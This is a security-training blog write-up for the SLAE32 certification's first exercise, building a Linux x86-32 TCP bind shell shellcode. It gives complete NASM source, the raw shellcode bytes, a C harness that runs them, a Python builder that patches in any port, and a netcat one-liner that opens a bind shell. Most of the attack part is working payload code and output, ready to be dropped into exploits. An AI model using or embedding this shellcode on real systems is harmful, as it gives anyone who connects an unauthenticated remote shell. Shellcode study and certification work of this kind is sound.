Concerned Project Repository
You can find a complete version of the project that is described in this paper on my Github account.
https://github.com/DarkCoderSc/tcp-bindshell-shellcode-slae32Assignment N°1 - TCP Bind Shell
Assignment Goals (SLAE-1530)
1) Create a TCP Bindshell Shellcode for Linux x86-32.
2) The port number should be easily configurable.
3) Bonus if getting referenced in exploit-db or shell-storm.
TCP Bindshell Principle
In few words, a TCP Bindshell is a tiny server program that waits for new clients on a specific port.
When a new client connects to the server it will spawn a new shell (Ex: /bin/bash
or /bin/sh
) and "binds" its file descriptors stdin
(0) stdout
(1) stderr
(2) to the new client socket.
Yes, a socket is nothing more than a file.
One infamous method to easily create a bindshell is to use Netcat
as following:
root@local:# mknod /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc -lvp 443 1>/tmp/backpipe
When you connect to port 443
(with any dumb client program ex: Netcat
, Telnet
) you will get remote control over shell instance.
user@local:$ nc 127.0.0.1 443
Example Result
Process
Method 1 - Classic
Required Syscalls
Below table is ordered by syscall execution order.
Decimal N° | Hex N° | Name |
---|---|---|
359 | 0x167 | socket() |
54 | 0x36 | setsockopt() |
361 | 0x169 | bind() |
363 | 0x16b | listen() |
364 | 0x16c | accept4() |
63 | 0x3f | dup2() |
11 | 0xb | execve() |
This technique is what we would use if we were coding a classic server program using higher language (C/C++, Pascal etc..).
It is more readable and convenient. We won't use that method for creating our bindshell shellcode, so we will just briefly enumerate required steps.
Steps
- Create a new IPv4/TCP socket using
socket()
. - Call
setsockopt()
to avoid "address already in use" error. - Call
bind()
to associate a local address to our socket. - Tell our socket listen for new clients using
listen()
. - Hang our program until a new client connects to our server and return a new client socket using
accept4()
. - Duplicate
stdin
(0),stdout
(1) andstderr
(2) file descriptors with client socket usingdup2()
. - Finally, spawn a new shell using
execve()
with/bin/sh
or any shell you want.
For this exercise we will rather manipulate sockets only using one famous syscall: socketcall()
.
Method 2 - socketcall()
Required Syscalls
Below table is ordered by syscall execution order.
Decimal N° | Hex N° | Name |
---|---|---|
102 | 0x66 | socketcall() |
63 | 0x3f | dup2() |
11 | 0xb | execve() |
Steps are exactly the same as for classical method (see above) but this time only with three distinct syscalls to achieve the same result.
We will replace socket()
, setsockopt()
, bind()
, listen()
and accept()
only with socketcall()
calls.
« ... On a some architectures—for example, x86-64 and ARM—there is no socketcall() system call; instead socket(2), accept(2), bind(2), and so on really are implemented as separate system calls. ... »
socketcall()
usage schema
It requires three registers: eax
, ebx
and ecx
-
eax
register value needs to be set to0x66
representing the syscall number forsocketcall()
-
ebx
register must contain the call number (see below table)
Call Number (Hex) | Call Name | Classic Equivalent |
---|---|---|
0x1 | SYS_SOCKET | socket() |
0xd | SYS_SETSOCKOPT | setsockopt() |
0xc | SYS_BIND | bind() |
0x2 | SYS_LISTEN | listen() |
0x3 | SYS_ACCEPT | accept() |
ecx
register contain an address pointing a stack location where additional parameters are placed if necessary.
Assembly Code Creation Plan
Objectives
Our objective wont be to create the smallest possible Shellcode.
Rather we will use more exotic things which requires more lengthy instructions.
We will only use push instruction one time in our code for preparing memory (nil memory). We will work manually on stack throughout the building of our shellcode.
Finally last objective is to enjoy building that exercise and prepare ourself to abuse of GDB ☕
Part I - Prepare Memory
The very first step of our code is to prepare the memory. We will makes sure that a bunch of lower stack addresses are initialized with zero (around 30 is far enough) to ensure the stack is clean before doing manual memory manipulations.
Some benefits include:
- Avoiding NULL characters in our final shellcode.
- Limiting instructions count (when working with parameters set to zero/NULL).
- Be freed of unexpected behaviors when setting a single byte or word to a specific stack location.
Part II - Create our Server
We now safely work on stack addresses, we can continue on building our server. Five steps are required so far.
Step 1 : Create Socket
Syscall socketcall()
will be used with ebx
set to 0x1
= SYS_SOCKET
.
Additional parameters needs to be set on stack:
Stack (Low Address) |
---|
AF_INET = 2 (4B) |
SOCK_STREAM = 1 (4B) |
AUTO = 0 (4B) |
*Debugging* : return value (eax register) must be non negative. The function returns a new socket.
Step 2 : Fix occasional "address already in use" error
Syscall socketcall()
will be used with ebx
set to 0xd
= SYS_SETSOCKOPT
.
Additional parameters needs to be set on stack:
Stack (Low Address) |
---|
socket handle (4B) |
SOL_SOCKET = 1 (4B) |
SO_REUSEADDR = 2 (4B) |
addr_of(socketlen_t) (4B) |
len(socketlen_t) = 4 (4B) |
Debugging : return value (eax register) must be zero.
Step 3 : Associate local address to socket
Syscall socketcall()
will be used with ebx
set to 0xc
= SYS_BIND
.
Additional parameters needs to be set on stack:
Stack (Low Address) |
---|
socket handle (4B) |
addr_of(sockaddr_in) (4B) |
len(sockaddr_in) (4B) |
AF_INET = 2 (2B) |
Port Number = htons(443) (2B) |
0 = INADDR_ANY(0.0.0.0)(4B) |
0 (8B) |
Debugging : return value (eax register) must be zero.
Step 4 : Listen for incoming connections
Syscall socketcall()
will be used with ebx
set to 0x2
= SYS_LISTEN
.
Additional parameters needs to be set on stack:
Stack (Low Address) |
---|
socket handle (4B) |
backlog = 0 (4B) |
Debugging : return value (eax register) must be zero.
Step 5 : Acquire new client socket
Syscall socketcall()
will be used with ebx
set to 0x3
= SYS_ACCEPT
.
Additional parameters needs to be set on stack:
Stack (Low Address) |
---|
socket handle (4B) |
NULL (sockaddr) |
NULL len(sockaddr) |
Debugging : return value (eax register) must be non negative. Function returns a new client socket.
Part III - Duplicate File Descriptors
Our server is now willing to acquire new clients, we will now focus on "binding" acquired client socket with stdin
(0), stdout
(1) and stderr
(2) file descriptors.
To do so, we will use the function dup2()
designated by the syscall 0x3f
ebx
register will contain the client socket handle.ecx
register will contain the file descriptor number.
To avoid repeating code and increasing the shellcode size, we will loop from 0 to 2 (included).
for ($ecx = 0; $ecx <= 2; $ecx++){
dup2(c_socket, $ecx)
}
Debugging : eax must be greater or equal to zero. On success value is equal to value placed in ecx
register.
PART IV - Execute a new /bin/sh
shell
This part focus on creating a classical execve()
call to our desired shell. This syscall number is 0xb
and as always placed inside eax
register.
For pathname (ebx
) we will push the string /bin/sh
directly to stack. String slices must be aligned to 4 Bytes. Final string must be NULL terminated.
For argv (ecx
), the best practice is to provide an address pointing to our shell string (/bin/sh
)
Finally argc (edx
) will be set to NULL because unused.
stack representation for ebx
parameter
Stack (Low Address) |
---|
NULL (4B) |
"hs//" (4B) |
"nib/" (4B) |
stack representation for ecx
parameter
Stack (Low Address) |
---|
addr("/bin/sh") |
Our recipe is now finished we can "safely" enter in the best part as fun as frustrating.
TCP Bind Assembly Code (NASM)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Filename : bindshell.nasm ;
; Author : Jean-Pierre LESUEUR ;
; Website : https://www.phrozen.io/ ;
; Email : jplesueur@phrozen.io ;
; Twitter : @DarkCoderSc ;
; ;
; --------------------------------------------------;
; SLAE32 Certification Exercise N°1 ;
; (Pentester Academy). ;
; https://www.pentesteracademy.com ;
; --------------------------------------------------;
; ;
; Purpose: ;
; --------------------------------------------------;
; Bind Shell ;
; Bind to 0.0.0.0:443 by default ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; nasm -f elf32 -o bindshell.o bindshell.nasm
; ld -o bindshell bindshell.o
; ./bindshell
global _start
section .text
_start:
mov ebp, esp
xor eax, eax
xor ebx, ebx
xor edx, edx
xor esi, esi ; will contain our socket handle
;--------------------------------------------------------------------
; fill 30 lower stack addresses with zero
; sufficient for our payload
;--------------------------------------------------------------------
xor ecx, ecx
mov cl, 0x1e
_zeromemory:
push eax ; push 0x00000000 to stack
loop _zeromemory
mov esp, ebp ; stack pointer to initial location
;--------------------------------------------------------------------
; socket()
;--------------------------------------------------------------------
mov bl, 0x1 ; SYS_SOCKET
mov byte [esp-0x8], 0x1 ; SOCK_STREAM
mov byte [esp-0xc], 0x2 ; AF_INET
sub esp, 0xc
mov ecx, esp
mov al, 0x66 ; socketcall() syscall number
int 0x80
mov esi, eax ; save new socket handle
;--------------------------------------------------------------------
; setsockopt()
;--------------------------------------------------------------------
xor eax, eax
add bl, 0xd ; SYS_SETSOCKOPT
mov byte [esp-0x4], 0x4 ; length of socklen_t
sub esp, 0x4
mov dword [esp-0x4], esp ; addr of socklen_t
mov byte [esp-0x8], 0x2 ; SO_REUSEADDR
mov byte [esp-0xc], 0x1 ; SOL_SOCKET
mov dword [esp-0x10], esi ; socket handle
sub esp, 0x10
mov ecx, esp
mov al, 0x66 ; socketcall() syscall number
int 0x80
;--------------------------------------------------------------------
; bind()
;--------------------------------------------------------------------
xor eax, eax
sub bl, 0xc ; SYS_BIND
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; struct sockaddr_in /* Size = 16B */ { ;;
; short sin_family; // 2B ;;
; unsigned short sin_port; // 2B ;;
; long s_addr; // 4B ;;
; char sin_zero[8]; // 8B ;;
; } ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; prepare sockaddr_in struct
mov al, 0x01
mov ah, 0xbb
mov word [esp-0xe], ax ; port = 443
mov byte [esp-0x10], 0x2 ; AF_INET
xor eax, eax
mov al, 0x10
sub esp, eax
mov byte [esp-0x4], 0x10 ; length sockaddr_in (16 Bytes)
mov dword [esp-0x8], esp ; addr of sockaddr_in
mov dword [esp-0xc], esi ; our socket handle
sub esp, 0xc
mov ecx, esp
xor eax, eax
mov al, 0x66 ; socketcall() syscall number
int 0x80
;--------------------------------------------------------------------
; listen()
;--------------------------------------------------------------------
add bl, 2 ; SYS_LISTEN
mov dword [esp-0x8], esi ; out socket handle
sub esp, 0x8
mov ecx, esp
mov al, 0x66 ; socketcall() syscall number
int 0x80
;--------------------------------------------------------------------
; accept()
;--------------------------------------------------------------------
inc bl ; SYS_ACCEPT
mov [esp-0xc], esi ; out socket handle
sub esp, 0xc
mov ecx, esp
mov al, 0x66 ; socketcall() syscall number
int 0x80
mov ebx, eax ; assign our new client socket to ebx
;--------------------------------------------------------------------
; dup2() : Loop from 0 to 2
; (stdin, stdout, stderr)
;--------------------------------------------------------------------
xor ecx, ecx
_dup2:
xor eax, eax
mov al, 0x3f
int 0x80
inc cl
cmp cl, 0x2
jle _dup2
;--------------------------------------------------------------------
; execve()
;--------------------------------------------------------------------
xor eax, eax
xor ebx, ebx
xor ecx, ecx
; /bin/sh
mov dword [esp-0x8], 0x68732f2f
mov dword [esp-0xc], 0x6e69622f
sub esp, 0xc
mov ebx, esp
sub esp, 0x4
mov edx, esp
mov dword [esp-0x4], ebx
sub esp, 0x4
mov ecx, esp
mov al, 0xb ; execve() syscall number
int 0x80
Compile and Test our Payload
user@local:$ nasm -f elf32 -o bindshell.o bindshell.nasm
user@local:$ ld -o bindshell bindshell.o
root@local:$ ./bindshell
Final Payload (Raw)
We will use a famous command from commandlinefu and extract opcodes from our binary.
user@local:$ objdump -d ./bindshell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'-v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' '
\x89\xe5\x31\xc0\x31\xdb\x31\xd2\x31\xf6\x31\xc9\xb1\x1e\x50\xe2
\xfd\x89\xec\xb3\x01\xc6\x44\x24\xf8\x01\xc6\x44\x24\xf4\x02\x83
\xec\x0c\x89\xe1\xb0\x66\xcd\x80\x89\xc6\x31\xc0\x80\xc3\x0d\xc6
\x44\x24\xfc\x04\x83\xec\x04\x89\x64\x24\xfc\xc6\x44\x24\xf8\x02
\xc6\x44\x24\xf4\x01\x89\x74\x24\xf0\x83\xec\x10\x89\xe1\xb0\x66
\xcd\x80\x31\xc0\x80\xeb\x0c\xb0\x01\xb4\xbb\x66\x89\x44\x24\xf2
\xc6\x44\x24\xf0\x02\x31\xc0\xb0\x10\x29\xc4\xc6\x44\x24\xfc\x10
\x89\x64\x24\xf8\x89\x74\x24\xf4\x83\xec\x0c\x89\xe1\x31\xc0\xb0
\x66\xcd\x80\x80\xc3\x02\x89\x74\x24\xf8\x83\xec\x08\x89\xe1\xb0
\x66\xcd\x80\xfe\xc3\x89\x74\x24\xf4\x83\xec\x0c\x89\xe1\xb0\x66
\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\xfe\xc1\x80\xf9
\x02\x7e\xf3\x31\xc0\x31\xdb\x31\xc9\xc7\x44\x24\xf8\x2f\x2f\x73
\x68\xc7\x44\x24\xf4\x2f\x62\x69\x6e\x83\xec\x0c\x89\xe3\x83\xec
\x04\x89\xe2\x89\x5c\x24\xfc\x83\xec\x04\x89\xe1\xb0\x0b\xcd\x80
To ensure our shellcode is working when embedded inside a willingly vulnerable program, we will paste it inside our SLAE32 shellcode.c template file.
#include
#include
unsigned char code[] = \
"\x89\xe5\x31\xc0\x31\xdb\x31\xd2\x31\xf6\x31\xc9\xb1\x1e\x50\xe2"
"\xfd\x89\xec\xb3\x01\xc6\x44\x24\xf8\x01\xc6\x44\x24\xf4\x02\x83"
"\xec\x0c\x89\xe1\xb0\x66\xcd\x80\x89\xc6\x31\xc0\x80\xc3\x0d\xc6"
"\x44\x24\xfc\x04\x83\xec\x04\x89\x64\x24\xfc\xc6\x44\x24\xf8\x02"
"\xc6\x44\x24\xf4\x01\x89\x74\x24\xf0\x83\xec\x10\x89\xe1\xb0\x66"
"\xcd\x80\x31\xc0\x80\xeb\x0c\xb0\x01\xb4\xbb\x66\x89\x44\x24\xf2"
"\xc6\x44\x24\xf0\x02\x31\xc0\xb0\x10\x29\xc4\xc6\x44\x24\xfc\x10"
"\x89\x64\x24\xf8\x89\x74\x24\xf4\x83\xec\x0c\x89\xe1\x31\xc0\xb0"
"\x66\xcd\x80\x80\xc3\x02\x89\x74\x24\xf8\x83\xec\x08\x89\xe1\xb0"
"\x66\xcd\x80\xfe\xc3\x89\x74\x24\xf4\x83\xec\x0c\x89\xe1\xb0\x66"
"\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\xfe\xc1\x80\xf9"
"\x02\x7e\xf3\x31\xc0\x31\xdb\x31\xc9\xc7\x44\x24\xf8\x2f\x2f\x73"
"\x68\xc7\x44\x24\xf4\x2f\x62\x69\x6e\x83\xec\x0c\x89\xe3\x83\xec"
"\x04\x89\xe2\x89\x5c\x24\xfc\x83\xec\x04\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
user@local:$ gcc shellcode.c -o shellcode -z execstack
root@local:$ ./shellcode
Shellcode Builder (Python3)
Last and not mandatory exercise goal is to propose a way to replace default TCP port number (in our case 443) with any ports from 0
to 65535
.
This part is quite hard to explain so I wont promise it will be the clearer possible. Forgive me in advance.
We absolutely need to take care of two important things:
N°1
Port number needs to be converted in Big-Endian as required by documentation related to networking programming then hex encoded.
Output port needs to be inserted in reverse order inside our payload.
N°2
Lets imagine we have port 443 which gives 0xbb01
(converted and encoded), in this case everything is fine but what if we use a port converted and encoded as 0x0080
, well it will be padded with a NULL character and it is punished by law to keep a NULL character inside our shellcode.
Solving first point is simple as using the htons()
function from socket
python library then classically encode output as hexadecimal string.
Solving the second issue requires more work (I particularly felt trolled by this part).
Fortunately this issue was anticipated in our code and voluntarily left unexplained until now.
mov al, 0x01
mov ah, 0xbb
mov word [esp-0xe], ax ; port = 443
A port number is a word (2 Bytes), to its must be greater or equal to 0x100
to be free of NULL character. Lets imagine if we were doing this way:
mov eax, 0xbb01
mov dword [esp-0xe], eax
This would result having two NULL characters since eax
is a 4 bytes register and we are placing only two bytes inside.
In this specific case we could easily fix that issue with bellow code:
mov ax, 0xbb01
mov word [esp-0xe], ax
This will work if we are using a port above 0x100
but what if our TCP port is in the lower range. It will result to a NULL character ax
is 2 bytes long and we are placing a single byte.
One solution is to move the port in two set of instructions.
First we move the first byte to the ah
register, then we move the second byte to al
register.
If we are using a port below 0x100
, we will singly remove from our raw shellcode instruction mov al, ...
(designated by opcodes \xb0\xb01
).
Builder Code (Python3)
#!/usr/bin/python3
'''
Jean-Pierre LESUEUR
@DarkCoderSc
jplesueur@phrozen.io
https://www.phrozen.io
***
SLAE32 Certification Exercise N°1
(Pentester Academy).
https://www.pentesteracademy.com
***
Description:
This python script will generate the final payload with desired TCP port number.
'''
import socket
import sys
from textwrap import wrap
shellcode = (
"\\x89\\xe5\\x31\\xc0\\x31\\xdb\\x31\\xd2\\x31\\xf6\\x31\\xc9\\xb1\\x1e\\x50\\xe2"
"\\xfd\\x89\\xec\\xb3\\x01\\xc6\\x44\\x24\\xf8\\x01\\xc6\\x44\\x24\\xf4\\x02\\x83"
"\\xec\\x0c\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x89\\xc6\\x31\\xc0\\x80\\xc3\\x0d\\xc6"
"\\x44\\x24\\xfc\\x04\\x83\\xec\\x04\\x89\\x64\\x24\\xfc\\xc6\\x44\\x24\\xf8\\x02"
"\\xc6\\x44\\x24\\xf4\\x01\\x89\\x74\\x24\\xf0\\x83\\xec\\x10\\x89\\xe1\\xb0\\x66"
"\\xcd\\x80\\x31\\xc0\\x80\\xeb\\x0c\\xb0\\x01\\xb4\\xbb\\x66\\x89\\x44\\x24\\xf2"
"\\xc6\\x44\\x24\\xf0\\x02\\x31\\xc0\\xb0\\x10\\x29\\xc4\\xc6\\x44\\x24\\xfc\\x10"
"\\x89\\x64\\x24\\xf8\\x89\\x74\\x24\\xf4\\x83\\xec\\x0c\\x89\\xe1\\x31\\xc0\\xb0"
"\\x66\\xcd\\x80\\x80\\xc3\\x02\\x89\\x74\\x24\\xf8\\x83\\xec\\x08\\x89\\xe1\\xb0"
"\\x66\\xcd\\x80\\xfe\\xc3\\x89\\x74\\x24\\xf4\\x83\\xec\\x0c\\x89\\xe1\\xb0\\x66"
"\\xcd\\x80\\x89\\xc3\\x31\\xc9\\x31\\xc0\\xb0\\x3f\\xcd\\x80\\xfe\\xc1\\x80\\xf9"
"\\x02\\x7e\\xf3\\x31\\xc0\\x31\\xdb\\x31\\xc9\\xc7\\x44\\x24\\xf8\\x2f\\x2f\\x73"
"\\x68\\xc7\\x44\\x24\\xf4\\x2f\\x62\\x69\\x6e\\x83\\xec\\x0c\\x89\\xe3\\x83\\xec"
"\\x04\\x89\\xe2\\x89\\x5c\\x24\\xfc\\x83\\xec\\x04\\x89\\xe1\\xb0\\x0b\\xcd\\x80"
)
if len(sys.argv) != 2:
print("Usage: ./gen_bindshell.py ")
else:
tcp_port = int(sys.argv[1])
if (tcp_port > 65535) or (tcp_port < 0):
print("Invalid port number (0..65535)")
else:
#
# Format port
#
raw_port = ('{:04x}'.format(socket.htons(tcp_port)))
raw_port_1 = "\\x{}".format(raw_port[2:4])
raw_port_2 = "\\x{}".format(raw_port[:2])
#
# Modify existing shellcode (hundred of possibilities)
#
if raw_port_1 == "\\x00":
shellcode = shellcode.replace("\\xb0\\x01", "")
else:
shellcode = shellcode.replace("\\xb0\\x01", "\\xb0{}".format(raw_port_1))
shellcode = shellcode.replace("\\xb4\\xbb", "\\xb4{}".format(raw_port_2))
#shellcode = shellcode.replace("\\x01\\xbb", patch)
final_payload = "// Shellcode size = {}\n".format(int(len(shellcode) / 4))
final_payload += "unsigned char code[] = \\\n"
for l in wrap(shellcode, 64):
final_payload += "\t\"{}\"\n".format(l)
final_payload = final_payload[:-1] + ";"
print(final_payload)
Usage
user@local:$ python3 ./gen_bindshell.py 1403
or
user@local:$ chmod +x gen_bindshell.py && ./gen_bindshell.py 1403
Replace output content to SLAE32 C shellcode.c template and see what happens when varying port number.
Exercise Solution Github Repository
https://github.com/DarkCoderSc/tcp-bindshell-shellcode-slae32
git clone https://github.com/DarkCoderSc/tcp-bindshell-shellcode-slae32.git
Afterword
Creating a TCP bindshell shellcode is straightforward but not an easy task.
It requires a solid comprehension of shellcoding and assembly throughout all steps. On the 7th exercises for passing the SLAE32 certification this is probably the most exausting part both for solving the challenge and explaning through this paper.
TCP Bindshells are not always the best choice because of privilege lacking / port filtering etc.. Using reverse shell is often a more effective and realistic technique and coincidentally it is the subject of next exercise 😊
All content on this website is protected by a disclaimer. Please review it before using our site
Oct. 14, 2020, 4:33 p.m. | By Jean-Pierre LESUEUR